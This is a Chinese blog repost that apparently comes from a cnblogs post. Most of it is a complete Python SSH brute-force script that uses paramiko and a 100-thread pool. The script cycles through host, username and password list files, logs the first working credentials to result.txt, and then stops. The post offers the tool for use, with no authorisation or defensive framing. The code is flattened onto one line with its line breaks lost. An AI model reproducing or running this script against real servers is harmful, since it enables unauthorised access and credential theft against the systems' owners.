Python SSH爆破以及Python3线程池控制线程数
生活随笔
收集整理的這篇文章主要介紹了
Python SSH爆破以及Python3线程池控制线程数
小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
源自一個(gè)朋友的要求,他的要求是只爆破一個(gè)ip,結(jié)果出來(lái)后就停止,如果是爆破多個(gè),完全沒(méi)必要停止,等他跑完就好
#!usr/bin/env python #!coding=utf-8__author__='Akkuman' ''' SSH爆破,由于多線(xiàn)程的問(wèn)題,我不知道怎么做可以出現(xiàn)結(jié)果馬上停止(會(huì)查的,有更好的方法再改) 現(xiàn)在我的方法是定義了一個(gè)全局的信號(hào)finish_flag,然后每個(gè)線(xiàn)程檢查這個(gè)信號(hào) 線(xiàn)程池用的concurrent.futures.ThreadPoolExecutor,是Py3的特性,py2需要安裝其他的包 成功結(jié)果寫(xiě)到了result.txt,可以通過(guò)檢查目錄下的result.txt文件查看結(jié)果 '''import paramiko from concurrent.futures import ThreadPoolExecutor import sysfinish_flag = Falsedef connect(host,user,pwd):global finish_flagif finish_flag:sys.exit()try:ssh=paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect(hostname=host,username=user,password=pwd)print ("[-]Login Succ u:%s p:%s h:%s"%(user,pwd,host))with open('result.txt','a+') as f:f.write("h:%s u:%s p:%s\n"%(host,user,pwd))finish_flag = Trueexcept paramiko.ssh_exception.SSHException as err:print("[x]Login Fail u:%s p:%s"%(user,pwd))finally:ssh.close()return# 取得一個(gè)hostip,username,password def getInfo():# 遍歷ipwith open('host.txt') as hosts:for host in hosts:hostip = host.strip()print("[x]Target:"+host)# 遍歷用戶(hù)名with open('user.txt') as users:for user in users:username = user.strip()# 遍歷密碼with open('pwd.txt') as pwds:for pwd in pwds:password = pwd.strip()yield hostip,username,passworddef main():paramiko.util.log_to_file("filename.log") info = getInfo()# 最大線(xiàn)程數(shù)max_thread_num = 100executor = ThreadPoolExecutor(max_workers=max_thread_num)for host,user,pwd in info:future = executor.submit(connect,host,user,pwd)if __name__ == '__main__':main()轉(zhuǎn)載于:https://www.cnblogs.com/Akkuman/p/8280765.html
總結(jié)
以上是生活随笔為你收集整理的Python SSH爆破以及Python3线程池控制线程数的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: python strip() 函数探究
- 下一篇: 项目第二周冲刺第六天